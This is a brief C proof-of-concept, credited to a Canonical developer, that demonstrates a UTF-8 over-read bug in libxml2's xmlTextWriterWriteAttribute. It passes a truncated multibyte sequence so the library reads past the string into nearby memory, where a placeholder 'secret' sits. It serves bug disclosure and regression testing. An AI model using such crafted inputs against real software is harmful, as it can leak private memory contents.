/* Copyright 2010, Canonical, Ltd.
 * Author: Kees Cook <kees@ubuntu.com>
 * License: GPLv3
 *
 * Demo of xmlTextWriterWriteAttribute utf-8 over-read bug
 *
 * cc -I/usr/include/libxml2 xmlwriter.c   -o xmlwriter -lxml2
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <libxml/xmlwriter.h>

int main(int argc, char * argv[])
{
    char *value = "\xe0\x81";
    char *secret = "super secret info";
    char *filename = "/dev/tty";
    xmlTextWriterPtr writer;

    if (!(writer = xmlNewTextWriterFilename(filename, 0))) {
        fprintf(stderr, "Cannot create writer\n");
        return 1;
    }
    if (xmlTextWriterStartElement(writer, "input")<0) {
        fprintf(stderr, "Cannot start element\n");
        return 2;
    }
    if (xmlTextWriterWriteAttribute(writer, "value", value)<0) {
        fprintf(stderr, "Cannot add attribute\n");
        return 3;
    }
    if (xmlTextWriterEndElement(writer)<0) {
        fprintf(stderr, "Cannot end element\n");
        return 4;
    }
    if (xmlTextWriterEndDocument(writer)<0) {
        fprintf(stderr, "Cannot end document\n");
        return 5;
    }

    return 0;
}
